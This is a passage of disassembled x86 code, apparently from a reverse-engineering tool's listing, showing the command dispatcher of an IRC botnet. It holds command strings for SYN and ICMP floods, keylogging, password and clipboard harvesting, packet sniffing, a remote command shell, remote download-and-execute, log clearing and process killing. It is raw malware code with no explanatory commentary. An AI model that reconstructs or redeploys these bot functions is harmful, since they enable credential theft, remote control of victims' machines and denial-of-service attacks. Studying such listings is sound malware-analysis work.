sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149DE push edi push offset aThreads_l ; "threads.l" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149DE push edi push offset aIrc_aliases ; "irc.aliases" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149BE push edi push offset aIrc_al ; "irc.al" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149BE push edi push offset aIrc_log ; "irc.log" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148CB push edi push offset aIrc_lg ; "irc.lg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148CB push edi push offset aUtil_clearlog ; "util.clearlog" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148B2 push edi push offset aUtil_clg ; "util.clg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148B2 push edi push offset aCom_netinfo ; "com.netinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414880 push edi push offset aCom_ni ; "com.ni" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414880 push edi push offset aDdos_supersyn ; "ddos.supersyn" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410459 mov edi, [ebp+esi+var_90] push 7Fh lea eax, [ebp+var_76C] push edi push eax call sub_418C10 mov eax, [ebp+esi+var_8C] push 7Fh mov [ebp+arg_18], eax push eax lea eax, [ebp+var_6EC] push eax call sub_418C10 mov esi, [ebp+esi+var_88] push 7Fh lea eax, [ebp+var_66C] push esi push eax call sub_418C10 push 7Fh lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 30h mov [ebp+var_568], eax mov eax, [ebp+var_8] push esi mov [ebp+var_564], eax mov eax, [ebp+arg_4] push [ebp+arg_18] mov [ebp+var_770], eax lea eax, [ebp+var_2DC] push edi push offset unk_437FC8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 14h push eax call sub_416D5C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_770] push ebx push eax push offset sub_401831 push ebx push ebx nop call near ptr 2660D4Bh mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_410448 loc_410432: ; CODE XREF: sub_40EE72+15D4j cmp [ebp+var_560], ebx jnz loc_41460C push 32h call near ptr 25F0439h nop jmp short loc_410432 ; --------------------------------------------------------------------------- loc_410448: ; CODE XREF: sub_40EE72+15BEj nop call near ptr 2630313h push eax push offset unk_437F7C jmp loc_413BFD ; --------------------------------------------------------------------------- loc_410459: ; CODE XREF: sub_40EE72+14E6j push edi push offset aCom_sysinfo ; "com.sysinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414852 push edi push offset aCom_si ; "com.si" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414852 push edi push offset aIrc_rem0ve ; "irc.rem0ve" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414818 push edi push offset aIrc_rm0 ; "irc.rm0" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414818 push edi push offset aCom_procs ; "com.procs" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41470F push edi push offset aCom_ps ; "com.ps" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41470F push edi push offset aCom_harvest ; "com.harvest" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4146F1 push edi push offset aCom_key ; "com.key" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4146F1 push edi push offset aCom_uptime ; "com.uptime" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41466C push edi push offset aCom_up ; "com.up" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41466C push edi push offset aCom_driveinfo ; "com.driveinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41464F push edi push offset aCom_drv ; "com.drv" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41464F push edi push offset aCom_testdlls ; "com.testdlls" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414636 push edi push offset aCom_dll ; "com.dll" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414636 push edi push offset aCom_opencmd ; "com.opencmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4145CA push edi push offset aCom_ocmd ; "com.ocmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4145CA push edi push offset aCom_ocmd_off ; "com.ocmd.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4105D2 push [ebp+esi+var_90] push 7 push offset aRemoteShell ; "Remote shell" push offset aCmd ; "[CMD]" jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_4105D2: ; CODE XREF: sub_40EE72+1746j push edi push offset aIrc_who ; "irc.who" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41065E cmp [ebp+var_8], ebx jnz short loc_410602 push ebx push [ebp+var_4] push offset aLoginList ; "-[Login List]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_410602: ; CODE XREF: sub_40EE72+1774j mov edi, [ebp+arg_18] xor esi, esi loc_410607: ; CODE XREF: sub_40EE72+17DBj cmp [edi], bl lea eax, [edi+1] jnz short loc_410613 mov eax, offset aEmpty ; "<Empty>" loc_410613: ; CODE XREF: sub_40EE72+179Aj push eax push esi lea eax, [ebp+var_2DC] push offset aD_S ; "%d. %s" push eax call sub_4172B0 push 1 lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_410607 push offset dword_437E50 loc_410654: ; CODE XREF: sub_40EE72+5C58j call sub_40BF6D jmp loc_414F46 ; --------------------------------------------------------------------------- loc_41065E: ; CODE XREF: sub_40EE72+176Fj push edi push offset aCom_getclip ; "com.getclip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414581 push edi push offset aCom_gc ; "com.gc" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414581 push edi push offset aUtil_flusharp ; "util.flusharp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414556 push edi push offset aUtil_farp ; "util.farp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414556 push edi push offset aUtil_flushdns ; "util.flushdns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414532 push edi push offset aUtil_fdns ; "util.fdns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414532 push edi push offset aRoot_currentip ; "root.currentip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4144F5 push edi push offset aRoot_cip ; "root.cip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4144F5 push edi push offset aDaemon_rlogi_0 ; "daemon.rlogin.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4143A4 push edi push offset aDaemon_rl_on ; "daemon.rl.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4143A4 push edi push offset aDaemon_httpd_o ; "daemon.httpd.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41422E push edi push offset aDaemon_web_on ; "daemon.web.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41422E push edi push offset aDaemon_tftp_on ; "daemon.tftp.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4140ED push edi push offset aDaemon_tf_on ; "daemon.tf.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4140ED push edi push offset aCom_findpass ; "com.findpass" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414043 push edi push offset aCom_fp ; "com.fp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414043 push edi push offset aScanall ; "scanall" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D44 push edi push offset aSa ; "sa" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D44 mov edi, [ebp+esi+var_90] cmp edi, ebx jz loc_40F239 push [ebp+arg_8] push offset aIrc_nick ; "irc.nick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D28 push [ebp+arg_8] push offset aIrc_n ; "irc.n" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D28 push [ebp+arg_8] push offset aIrc_join ; "irc.join" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D05 push [ebp+arg_8] push offset aIrc_j ; "irc.j" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D05 push [ebp+arg_8] push offset aIrc_part ; "irc.part" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CE9 push [ebp+arg_8] push offset aIrc_pt ; "irc.pt" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CE9 push [ebp+arg_8] push offset aIrc_raw ; "irc.raw" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CAF push [ebp+arg_8] push offset aIrc_ra ; "irc.ra" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CAF push [ebp+arg_8] push offset aThreads_kill ; "threads.kill" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413BDD push [ebp+arg_8] push offset aThreads_k ; "threads.k" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413BDD push [ebp+arg_8] push offset aClone_quit ; "clone.quit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413B34 push [ebp+arg_8] push offset aClone_q ; "clone.q" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413B34 push [ebp+arg_8] push offset aClone_rndnick ; "clone.rndnick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AE6 push [ebp+arg_8] push offset aClone_rn ; "clone.rn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AE6 push [ebp+arg_8] push offset aIrc_prefix ; "irc.prefix" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AD1 push [ebp+arg_8] push offset aIrc_pr ; "irc.pr" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AD1 push [ebp+arg_8] push offset aCom_open ; "com.open" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AA7 push [ebp+arg_8] push offset aCom_o ; "com.o" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AA7 push [ebp+arg_8] push offset aIrc_setserve ; "irc.setserve" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413A8E push [ebp+arg_8] push offset aIrc_se ; "irc.se" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413A8E push [ebp+arg_8] push offset aIrc_dns ; "irc.dns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139FC push [ebp+arg_8] push offset aIrc_dn ; "irc.dn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139FC push [ebp+arg_8] push offset aCom_killprocna ; "com.killprocname" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139D0 push [ebp+arg_8] push offset aCom_kpn ; "com.kpn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139D0 push [ebp+arg_8] push offset aCom_prockillid ; "com.prockillid" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413975 push [ebp+arg_8] push offset aCom_pkid ; "com.pkid" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413975 push [ebp+arg_8] push offset aCom_delete ; "com.delete" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41393A push [ebp+arg_8] push offset aCom_del ; "com.del" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41393A push [ebp+arg_8] push offset aDcc_get ; "dcc.get" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413850 push [ebp+arg_8] push offset aDcc_gt ; "dcc.gt" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413850 push [ebp+arg_8] push offset aCom_filelist ; "com.filelist" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413832 push [ebp+arg_8] push offset aCom_fl ; "com.fl" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413832 push [ebp+arg_8] push offset aIrc_visit ; "irc.visit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413751 push [ebp+arg_8] push offset aIrc_v ; "irc.v" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413751 push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413716 push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413716 push [ebp+arg_8] push offset aCom_cmd ; "com.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4136CB push [ebp+arg_8] push offset aCom_cm ; "com.cm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4136CB push [ebp+arg_8] push offset aCom_readfile ; "com.readfile" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413645 push [ebp+arg_8] push offset aCom_rf ; "com.rf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413645 push [ebp+arg_8] push offset aSniff ; "sniff" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410CCC push edi push offset aOn ; "on" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410C97 push 19h call sub_416FA4 test eax, eax pop ecx jle short loc_410BC1 push offset unk_437B80 jmp loc_410D38 ; --------------------------------------------------------------------------- loc_410BC1: ; CODE XREF: sub_40EE72+1D43j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_4F0], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_464], eax jnz short loc_410C03 mov esi, offset aF_1 ; "#f" push offset byte_43C80C push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410C03 mov esi, [ebp+var_8C] loc_410C03: ; CODE XREF: sub_40EE72+1D73j ; sub_40EE72+1D89j push esi lea eax, [ebp+var_4EC] push 80h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_2DC] push offset unk_437B40 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 19h push eax call sub_416D5C add esp, 14h mov [ebp+var_46C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_402688 push ebx push ebx nop call near ptr 2660D4Bh mov ecx, [ebp+var_46C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_410C86 loc_410C70: ; CODE XREF: sub_40EE72+1E12j cmp [ebp+var_460], ebx jnz loc_410E57 push 32h call near ptr 25F0439h nop jmp short loc_410C70 ; --------------------------------------------------------------------------- loc_410C86: ; CODE XREF: sub_40EE72+1DFCj nop call near ptr 2630313h push eax push offset unk_437AF4 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410C97: ; CODE XREF: sub_40EE72+1D33j push edi push offset aOff ; "off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E57 push ebx push 19h call sub_416F57 pop ecx cmp eax, ebx pop ecx jle short loc_410CC5 push eax push offset unk_437AA8 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410CC5: ; CODE XREF: sub_40EE72+1E46j push offset unk_437A70 jmp short loc_410D38 ; --------------------------------------------------------------------------- loc_410CCC: ; CODE XREF: sub_40EE72+1D1Ej push [ebp+arg_8] push offset aCom_keylog ; "com.keylog" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E81 push edi push offset aOn ; "on" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_410D4B push edi push offset aFile ; "file" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_410D4B push edi push offset aOff ; "off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E57 push ebx push 1Bh call sub_416F57 pop ecx cmp eax, ebx pop ecx jle short loc_410D33 push eax push offset unk_437A18 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410D33: ; CODE XREF: sub_40EE72+1EB4j push offset unk_4379DC loc_410D38: ; CODE XREF: sub_40EE72+1D4Aj ; sub_40EE72+1E58j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx jmp loc_410E57 ; --------------------------------------------------------------------------- loc_410D4B: ; CODE XREF: sub_40EE72+1E80j ; sub_40EE72+1E91j push 1Bh call sub_416FA4 test eax, eax pop ecx jle short loc_410D5E push offset unk_4379AC jmp short loc_410D38 ; --------------------------------------------------------------------------- loc_410D5E: ; CODE XREF: sub_40EE72+1EE3j mov eax, [ebp+arg_4] push edi mov [ebp+var_4F0], eax mov eax, [ebp+var_4] push offset aFile ; "file" mov [ebp+var_468], eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410D8D mov [ebp+var_464], 1 jmp short loc_410D96 ; --------------------------------------------------------------------------- loc_410D8D: ; CODE XREF: sub_40EE72+1F0Dj mov eax, [ebp+var_8] mov [ebp+var_464], eax loc_410D96: ; CODE XREF: sub_40EE72+1F19j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_410DBD mov esi, offset aF_0 ; "#f" push offset byte_43C80C push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410DBD mov esi, [ebp+var_8C] loc_410DBD: ; CODE XREF: sub_40EE72+1F2Dj ; sub_40EE72+1F43j push esi lea eax, [ebp+var_4E8] push 80h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_2DC] push offset unk_43797C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 1Bh push eax call sub_416D5C add esp, 14h mov [ebp+var_4EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_4023A7 push ebx push ebx nop call near ptr 2660D4Bh mov ecx, [ebp+var_4EC] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_410E3C loc_410E2A: ; CODE XREF: sub_40EE72+1FC8j cmp [ebp+var_460], ebx jnz short loc_410E57 push 32h nop call near ptr 25F0439h jmp short loc_410E2A ; --------------------------------------------------------------------------- loc_410E3C: ; CODE XREF: sub_40EE72+1FB6j nop call near ptr 2630313h push eax push offset unk_437930 loc_410E48: ; CODE XREF: sub_40EE72+1E20j ; sub_40EE72+1E4Ej ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_410E57: ; CODE XREF: sub_40EE72+1E04j ; sub_40EE72+1E34j ... cmp [ebp+var_8], ebx jnz loc_40F822 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_40F822 ; --------------------------------------------------------------------------- loc_410E81: ; CODE XREF: sub_40EE72+1E6Bj push [ebp+arg_8] push offset aCom_net ; "com.net" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_411114 cmp dword_43F738, ebx jz short loc_410EB2 cmp dword_43F760, ebx jz short loc_410EB2 push offset dword_4378E0 jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410EB2: ; CODE XREF: sub_40EE72+202Cj ; sub_40EE72+2034j cmp [ebp+var_C], ebx jz loc_4110DC mov eax, [ebp+esi+var_8C] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_410EDA push eax push [ebp+var_C] call sub_417880 pop ecx mov [ebp+arg_0], eax pop ecx loc_410EDA: ; CODE XREF: sub_40EE72+2058j push edi push offset aStart ; "start" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F26 cmp [ebp+arg_18], ebx jz short loc_410EFA push [ebp+arg_0] push 3 jmp loc_410F84 ; --------------------------------------------------------------------------- loc_410EFA: ; CODE XREF: sub_40EE72+207Cj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40D9B3 add esp, 0Ch test eax, eax jz short loc_410F1C push offset dword_4378AC jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410F1C: ; CODE XREF: sub_40EE72+209Ej push offset dword_43787C jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410F26: ; CODE XREF: sub_40EE72+2077j push edi push offset aStop ; "stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F3E push [ebp+arg_0] push 4 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F3E: ; CODE XREF: sub_40EE72+20C3j push edi push offset aPause ; "pause" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F56 push [ebp+arg_0] push 5 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F56: ; CODE XREF: sub_40EE72+20DBj push edi push offset aContinue ; "continue" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F6E push [ebp+arg_0] push 6 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F6E: ; CODE XREF: sub_40EE72+20F3j push edi push offset aDelete ; "delete" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F90 push [ebp+arg_0] push 1 loc_410F84: ; CODE XREF: sub_40EE72+2083j ; sub_40EE72+20CAj ... call sub_40D719 pop ecx pop ecx jmp loc_4110AB ; --------------------------------------------------------------------------- loc_410F90: ; CODE XREF: sub_40EE72+210Bj push edi push offset aShare ; "share" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410FFB cmp [ebp+arg_18], ebx jz short loc_410FCE cmp [ebp+var_9C4], bl jz short loc_410FC1 push ebx push [ebp+arg_18] push 1 loc_410FB4: ; CODE XREF: sub_40EE72+215Aj call sub_40DAF0 add esp, 0Ch jmp loc_4110AB ; --------------------------------------------------------------------------- loc_410FC1: ; CODE XREF: sub_40EE72+213Aj push [ebp+esi+var_88] push [ebp+arg_18] push ebx jmp short loc_410FB4 ; --------------------------------------------------------------------------- loc_410FCE: ; CODE XREF: sub_40EE72+2132j push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40DCE6 add esp, 10h test eax, eax jz short loc_410FF1 push offset dword_43782C jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410FF1: ; CODE XREF: sub_40EE72+2173j push offset dword_4377FC jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410FFB: ; CODE XREF: sub_40EE72+212Dj push edi push offset aUser ; "user" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41107E mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_411057 cmp [ebp+var_9C4], bl jz short loc_41102D push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_411047 ; --------------------------------------------------------------------------- loc_41102D: ; CODE XREF: sub_40EE72+21A7j push [ebp+var_4] mov esi, [ebp+esi+var_88] cmp esi, ebx push [ebp+var_8C] push [ebp+arg_4] jz short loc_411051 push esi push eax push ebx loc_411047: ; CODE XREF: sub_40EE72+21B9j ; sub_40EE72+21E3j call sub_40DE07 add esp, 18h jmp short loc_4110AB ; --------------------------------------------------------------------------- loc_411051: ; CODE XREF: sub_40EE72+21D0j push ebx push eax push 2 jmp short loc_411047 ; --------------------------------------------------------------------------- loc_411057: ; CODE XREF: sub_40EE72+219Fj push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40E337 add esp, 10h test eax, eax jz short loc_411077 push offset dword_4377C4 jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_411077: ; CODE XREF: sub_40EE72+21FCj push offset dword_437798 jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_41107E: ; CODE XREF: sub_40EE72+2198j push edi push offset aSend ; "send" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4110C9 cmp [ebp+arg_18], ebx jz short loc_4110C2 push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push [ebp+arg_0] call sub_40E5EB add esp, 10h loc_4110AB: ; CODE XREF: sub_40EE72+2119j ; sub_40EE72+214Aj ... push eax push offset aS_1 ; "%s" loc_4110B1: ; CODE XREF: sub_40EE72+4854j ; sub_40EE72+4B7Bj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 loc_4110BD: ; CODE XREF: sub_40EE72+5703j add esp, 0Ch jmp short loc_4110DC ; --------------------------------------------------------------------------- loc_4110C2: ; CODE XREF: sub_40EE72+2220j push offset dword_437768 jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_4110C9: ; CODE XREF: sub_40EE72+221Bj push offset dword_43773C loc_4110CE: ; CODE XREF: sub_40EE72+203Bj ; sub_40EE72+20A5j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_4110DC: ; CODE XREF: sub_40EE72+2043j ; sub_40EE72+224Ej ... cmp [ebp+var_8], ebx jnz short loc_4110FD push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_4110FD: ; CODE XREF: sub_40EE72+226Dj ; sub_40EE72+4849j ... mov esi, [ebp+arg_24] loc_411100: ; CODE XREF: sub_40EE72+9B3j ; sub_40EE72+4B37j ... lea eax, [ebp+var_2DC] push eax call sub_40BF6D pop ecx mov eax, esi jmp loc_40F23C ; --------------------------------------------------------------------------- loc_411114: ; CODE XREF: sub_40EE72+2020j push [ebp+arg_8] push offset aCom_capture ; "com.capture" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413402 push [ebp+arg_8] push offset aCom_cap ; "com.cap" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413402 push [ebp+arg_8] push offset aIrc_gethost ; "irc.gethost" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413314 push [ebp+arg_8] push offset aIrc_gh ; "irc.gh" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413314 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz loc_40F239 push [ebp+arg_8] push offset aIrc_addalias ; "irc.addalias" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4132E2 push [ebp+arg_8] push offset aIrc_aa ; "irc.aa" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4132E2 push [ebp+arg_8] push offset aIrc_privmsg ; "irc.privmsg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41328C push [ebp+arg_8] push offset aIrc_pm ; "irc.pm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41328C push [ebp+arg_8] push offset aIrc_action ; "irc.action" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413226 push [ebp+arg_8] push offset aIrc_ac ; "irc.ac" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413226 push [ebp+arg_8] push offset aIrc_cycle ; "irc.cycle" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4131BD push [ebp+arg_8] push offset aIrc_cy ; "irc.cy" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4131BD push [ebp+arg_8] push offset aIrc_mode ; "irc.mode" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413183 push [ebp+arg_8] push offset aIrc_m ; "irc.m" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413183 push [ebp+arg_8] push offset aClone_raw ; "clone.raw" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413115 push [ebp+arg_8] push offset aClone_ra ; "clone.ra" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413115 push [ebp+arg_8] push offset aClone_mode ; "clone.mode" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413090 push [ebp+arg_8] push offset aClone_m ; "clone.m" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413090 push [ebp+arg_8] push offset aClone_nick ; "clone.nick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413024 push [ebp+arg_8] push offset aClone_ni ; "clone.ni" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413024 push [ebp+arg_8] push offset aClone_join ; "clone.join" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412FFE push [ebp+arg_8] push offset aClone_j ; "clone.j" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412FFE push [ebp+arg_8] push offset aClone_part ; "clone.part" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412F9B push [ebp+arg_8] push offset aClone_p ; "clone.p" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412F9B push [ebp+arg_8] push offset aIrc_repeat ; "irc.repeat" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412ED2 push [ebp+arg_8] push offset aIrc_rp ; "irc.rp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412ED2 push [ebp+arg_8] push offset aIrc_delay ; "irc.delay" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E35 push [ebp+arg_8] push offset aIrc_de ; "irc.de" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E35 push [ebp+arg_8] push offset aDownload_updat ; "download.update" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412CB1 push [ebp+arg_8] push offset aDownload_up ; "download.up" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412CB1 push [ebp+arg_8] push offset aCom_execute ; "com.execute" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412C1E push [ebp+arg_8] push offset aCom_e ; "com.e" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412C1E push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412B1D push [ebp+arg_8] push offset aFf ; "ff" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412B1D push [ebp+arg_8] push offset aCom_rename ; "com.rename" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412ACB push [ebp+arg_8] push offset aCom_mv ; "com.mv" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412ACB push [ebp+arg_8] push offset aDdos_icmp ; "ddos.icmp" 